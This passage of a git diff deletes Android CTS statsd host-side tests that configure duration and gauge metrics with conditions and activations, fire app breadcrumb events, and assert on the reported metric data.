-        AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
-        AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
-        StatsdConfigProto.AtomMatcher activationMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
-                                                           activationMatcherLabel);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(startAtomMatcher)
-                .addAtomMatcher(stopAtomMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add DurationMetric.
-        builder
-                .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
-                        .setId(MetricsUtils.DURATION_METRIC_ID)
-                        .setWhat(predicate.getId())
-                        .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                )
-                .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.DURATION_METRIC_ID)
-                        .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(
-                                        StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        long totalDuration = durationData.getData(0).getBucketInfoList().stream()
-                .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
-                .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
-                .sum();
-        assertThat(totalDuration).isIn(Range.open((long)2e9, (long)3e9));
-    }
-
-    public void testDurationMetricWithConditionAndActivation() throws Exception {
-        final int durationLabel = 1;
-        final int conditionLabel = 2;
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int ttlSec = 5;
-
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
-        AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID, conditionLabel);
-        StatsdConfigProto.AtomMatcher activationMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
-                                                           activationMatcherLabel);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(startAtomMatcher)
-                .addAtomMatcher(stopAtomMatcher)
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        SimplePredicate conditionSimplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
-                .build();
-        Predicate conditionPredicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("ConditionPredicate"))
-                                  .setSimplePredicate(conditionSimplePredicate)
-                                  .build();
-        builder.addPredicate(conditionPredicate);
-
-        // Add DurationMetric.
-        builder
-                .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
-                        .setId(MetricsUtils.DURATION_METRIC_ID)
-                        .setWhat(predicate.getId())
-                        .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setCondition(conditionPredicate.getId())
-                )
-                .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.DURATION_METRIC_ID)
-                        .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(
-                                        StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-        //doAppBreadcrumbReported(99); // TODO: maybe remove?
-        //Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Set condition to true again.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Start counted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop counted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Start uncounted duration.
-        doAppBreadcrumbReportedStart(durationLabel);
-        Thread.sleep(10);
-
-        Thread.sleep(2_000);
-
-        // Stop uncounted duration.
-        doAppBreadcrumbReportedStop(durationLabel);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        long totalDuration = durationData.getData(0).getBucketInfoList().stream()
-                .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
-                .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
-                .sum();
-        assertThat(totalDuration).isIn(Range.open((long)4e9, (long)5e9));
-    }
-
-    public void testDurationMetricWithDimension() throws Exception {
-        // Add AtomMatchers.
-        AtomMatcher startAtomMatcherA =
-            MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
-        AtomMatcher stopAtomMatcherA =
-            MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
-        AtomMatcher startAtomMatcherB =
-            MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-        AtomMatcher stopAtomMatcherB =
-            MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID);
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addAtomMatcher(startAtomMatcherA);
-        builder.addAtomMatcher(stopAtomMatcherA);
-        builder.addAtomMatcher(startAtomMatcherB);
-        builder.addAtomMatcher(stopAtomMatcherB);
-
-        // Add Predicates.
-        SimplePredicate simplePredicateA = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicateA = Predicate.newBuilder()
-                                   .setId(MetricsUtils.StringToId("Predicate_A"))
-                                   .setSimplePredicate(simplePredicateA)
-                                   .build();
-        builder.addPredicate(predicateA);
-
-        FieldMatcher.Builder dimensionsBuilder = FieldMatcher.newBuilder()
-                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
-        dimensionsBuilder
-                .addChild(FieldMatcher.newBuilder().setField(
-                        AppBreadcrumbReported.LABEL_FIELD_NUMBER));
-        Predicate predicateB =
-            Predicate.newBuilder()
-                .setId(MetricsUtils.StringToId("Predicate_B"))
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                                        .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                                        .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
-                                        .setDimensions(dimensionsBuilder.build())
-                                        .build())
-                .build();
-        builder.addPredicate(predicateB);
-
-        // Add DurationMetric.
-        builder.addDurationMetric(
-            StatsdConfigProto.DurationMetric.newBuilder()
-                .setId(MetricsUtils.DURATION_METRIC_ID)
-                .setWhat(predicateB.getId())
-                .setCondition(predicateA.getId())
-                .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
-                .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                .setDimensionsInWhat(
-                    FieldMatcher.newBuilder()
-                            .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                            .addChild(FieldMatcher.newBuilder().setField(
-                                    AppBreadcrumbReported.LABEL_FIELD_NUMBER))));
-
-        // Upload config.
-        uploadConfig(builder);
-
-        // Trigger events.
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStart(2);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(2000);
-        doAppBreadcrumbReportedStop(2);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(2);
-        assertThat(durationData.getData(0).getBucketInfoCount()).isGreaterThan(3);
-        assertThat(durationData.getData(1).getBucketInfoCount()).isGreaterThan(3);
-        long totalDuration = 0;
-        for (DurationBucketInfo bucketInfo : durationData.getData(0).getBucketInfoList()) {
-            assertThat(bucketInfo.getDurationNanos()).isIn(Range.openClosed(0L, (long) 1e9));
-            totalDuration += bucketInfo.getDurationNanos();
-        }
-        // Duration for both labels is expected to be 4s.
-        assertThat(totalDuration).isIn(Range.open((long) 3e9, (long) 8e9));
-        totalDuration = 0;
-        for (DurationBucketInfo bucketInfo : durationData.getData(1).getBucketInfoList()) {
-            assertThat(bucketInfo.getDurationNanos()).isIn(Range.openClosed(0L, (long) 1e9));
-            totalDuration += bucketInfo.getDurationNanos();
-        }
-        assertThat(totalDuration).isIn(Range.open((long) 3e9, (long) 8e9));
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
deleted file mode 100644
index 2280e13..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
+++ /dev/null
@@ -1,336 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.GaugeBucketInfo;
-import com.android.os.StatsLog.GaugeMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil;
-
-public class GaugeMetricsTests extends DeviceAtomTestCase {
-
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
-  private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-
-  public void testGaugeMetric() throws Exception {
-      // Add AtomMatcher's.
-      AtomMatcher startAtomMatcher =
-          MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
-      AtomMatcher stopAtomMatcher =
-          MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
-      AtomMatcher atomMatcher =
-          MetricsUtils.simpleAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-
-      StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-      builder.addAtomMatcher(startAtomMatcher);
-      builder.addAtomMatcher(stopAtomMatcher);
-      builder.addAtomMatcher(atomMatcher);
-
-      // Add Predicate's.
-      SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                                            .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                                            .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                                            .build();
-      Predicate predicate = Predicate.newBuilder()
-                                .setId(MetricsUtils.StringToId("Predicate"))
-                                .setSimplePredicate(simplePredicate)
-                                .build();
-      builder.addPredicate(predicate);
-
-      // Add GaugeMetric.
-      FieldMatcher fieldMatcher =
-          FieldMatcher.newBuilder().setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID).build();
-      builder.addGaugeMetric(
-          StatsdConfigProto.GaugeMetric.newBuilder()
-              .setId(MetricsUtils.GAUGE_METRIC_ID)
-              .setWhat(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-              .setCondition(predicate.getId())
-              .setGaugeFieldsFilter(
-                  FieldFilter.newBuilder().setIncludeAll(false).setFields(fieldMatcher).build())
-              .setDimensionsInWhat(
-                  FieldMatcher.newBuilder()
-                      .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                      .addChild(FieldMatcher.newBuilder()
-                                    .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                    .build())
-                      .build())
-              .setBucket(StatsdConfigProto.TimeUnit.CTS)
-              .build());
-
-      // Upload config.
-      uploadConfig(builder);
-
-      // Create AppBreadcrumbReported Start/Stop events.
-      doAppBreadcrumbReportedStart(0);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStart(1);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStart(2);
-      Thread.sleep(2000);
-      doAppBreadcrumbReportedStop(2);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStop(0);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStop(1);
-      doAppBreadcrumbReportedStart(2);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStart(1);
-      Thread.sleep(2000);
-      doAppBreadcrumbReportedStop(2);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStop(1);
-
-      // Wait for the metrics to propagate to statsd.
-      Thread.sleep(2000);
-
-      StatsLogReport metricReport = getStatsLogReport();
-      LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
-      assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
-      assertThat(metricReport.hasGaugeMetrics()).isTrue();
-      StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
-      assertThat(gaugeData.getDataCount()).isEqualTo(1);
-
-      int bucketCount = gaugeData.getData(0).getBucketInfoCount();
-      GaugeMetricData data = gaugeData.getData(0);
-      assertThat(bucketCount).isGreaterThan(2);
-      MetricsUtils.assertBucketTimePresent(data.getBucketInfo(0));
-      assertThat(data.getBucketInfo(0).getAtomCount()).isEqualTo(1);
-      assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getLabel())
-              .isEqualTo(0);
-      assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getState())
-              .isEqualTo(AppBreadcrumbReported.State.START);
-
-      MetricsUtils.assertBucketTimePresent(data.getBucketInfo(1));
-      assertThat(data.getBucketInfo(1).getAtomCount()).isEqualTo(1);
-
-      MetricsUtils.assertBucketTimePresent(data.getBucketInfo(bucketCount-1));
-      assertThat(data.getBucketInfo(bucketCount-1).getAtomCount()).isEqualTo(1);
-      assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getLabel())
-              .isEqualTo(2);
-      assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getState())
-              .isEqualTo(AppBreadcrumbReported.State.STOP);
-  }
-
-  public void testPulledGaugeMetricWithActivation() throws Exception {
-      // Add AtomMatcher's.
-      int activationAtomMatcherId = 1;
-      int activationAtomMatcherLabel = 1;
-
-      int systemUptimeMatcherId = 2;
-      AtomMatcher activationAtomMatcher =
-              MetricsUtils.appBreadcrumbMatcherWithLabel(
-                      activationAtomMatcherId, activationAtomMatcherLabel);
-      AtomMatcher systemUptimeMatcher =
-              AtomMatcher.newBuilder()
-                      .setId(systemUptimeMatcherId)
-                      .setSimpleAtomMatcher(
-                              SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_UPTIME_FIELD_NUMBER))
-                      .build();
-
-      StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-      builder.addAtomMatcher(activationAtomMatcher);
-      builder.addAtomMatcher(systemUptimeMatcher);
-
-      // Add GaugeMetric.
-      builder.addGaugeMetric(
-              StatsdConfigProto.GaugeMetric.newBuilder()
-                      .setId(MetricsUtils.GAUGE_METRIC_ID)
-                      .setWhat(systemUptimeMatcherId)
-                      .setGaugeFieldsFilter(
-                              FieldFilter.newBuilder().setIncludeAll(true).build())
-                      .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                      .build());
-
-      // Add activation.
-      builder.addMetricActivation(MetricActivation.newBuilder()
-              .setMetricId(MetricsUtils.GAUGE_METRIC_ID)
-              .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-              .addEventActivation(EventActivation.newBuilder()
-                    .setAtomMatcherId(activationAtomMatcherId)
-                    .setTtlSeconds(5)));
-
-      // Upload config.
-      uploadConfig(builder);
-
-      // Plenty of time to pull, but we should not keep the data since we are not active.
-      Thread.sleep(20_000);
-
-      StatsLogReport metricReport = getStatsLogReport();
-      LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
-      assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
-      assertThat(metricReport.hasGaugeMetrics()).isFalse();
-  }
-
-    public void testPulledGaugeMetricWithConditionAndActivation() throws Exception {
-        final int conditionLabel = 2;
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int whatMatcherId = 8;
-        final int ttlSec = 5;
-
-        // Add AtomMatchers.
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, conditionLabel);
-        AtomMatcher activationMatcher =
-                MetricsUtils.startAtomMatcherWithLabel(
-                        activationMatcherId, activationMatcherLabel);
-        AtomMatcher whatMatcher =
-                MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
-        StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher)
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add GaugeMetric.
-        builder
-                .addGaugeMetric(GaugeMetric.newBuilder()
-                        .setId(MetricsUtils.GAUGE_METRIC_ID)
-                        .setWhat(whatMatcher.getId())
-                        .setBucket(TimeUnit.CTS)
-                        .setCondition(predicate.getId())
-                        .setGaugeFieldsFilter(
-                                FieldFilter.newBuilder().setIncludeAll(false).setFields(
-                                        FieldMatcher.newBuilder()
-                                                .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                                )
-                        )
-                        .setDimensionsInWhat(FieldMatcher.newBuilder().setField(whatMatcherId))
-                )
-                .addMetricActivation(MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.GAUGE_METRIC_ID)
-                        .addEventActivation(EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)
-                        )
-                );
-
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // This value is collected.
-        doAppBreadcrumbReported(10);
-        Thread.sleep(10);
-
-        // Ignored; value already collected.
-        doAppBreadcrumbReported(20);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Value not updated because condition is false.
-        doAppBreadcrumbReported(30);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Value not collected.
-        doAppBreadcrumbReported(40);
-        Thread.sleep(10);
-
-        // Condition to true again.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Value not collected.
-        doAppBreadcrumbReported(50);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Value collected.
-        doAppBreadcrumbReported(60);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Value not collected.
-        doAppBreadcrumbReported(70);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
-        assertThat(metricReport.hasGaugeMetrics()).isTrue();
-        assertThat(metricReport.getIsActive()).isFalse();
-
-        StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
-        assertThat(gaugeData.getDataCount()).isEqualTo(1);
-        assertThat(gaugeData.getData(0).getBucketInfoCount()).isEqualTo(2);
-
-        GaugeBucketInfo bucketInfo = gaugeData.getData(0).getBucketInfo(0);
-        MetricsUtils.assertBucketTimePresent(bucketInfo);
-        assertThat(bucketInfo.getAtomCount()).isEqualTo(1);
-        assertThat(bucketInfo.getAtom(0).getAppBreadcrumbReported().getLabel()).isEqualTo(10);
-
-        bucketInfo = gaugeData.getData(0).getBucketInfo(1);
-        MetricsUtils.assertBucketTimePresent(bucketInfo);
-        assertThat(bucketInfo.getAtomCount()).isEqualTo(1);
-        assertThat(bucketInfo.getAtom(0).getAppBreadcrumbReported().getLabel()).isEqualTo(60);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
deleted file mode 100644
index 339970a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ /dev/null
@@ -1,566 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.EventMetric;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-/**
- * Test Statsd Metric activations and deactivations
- */
-public class MetricActivationTests extends DeviceAtomTestCase {
-    private final long metric1Id = 1L;
-    private final int metric1MatcherId = 1;
-
-    private final long metric2Id = 2L;
-    private final int metric2MatcherId = 2;
-
-    private final long metric3Id = 3L;
-    private final int metric3MatcherId = 3;
-
-    private final int act1MatcherId = 10;
-    private final int act1CancelMatcherId = -10;
-
-    private final int act2MatcherId = 20;
-    private final int act2CancelMatcherId = -20;
-
-
-    private StatsdConfig.Builder createConfig(final int act1TtlSecs, final int act2TtlSecs) {
-        AtomMatcher metric1Matcher =
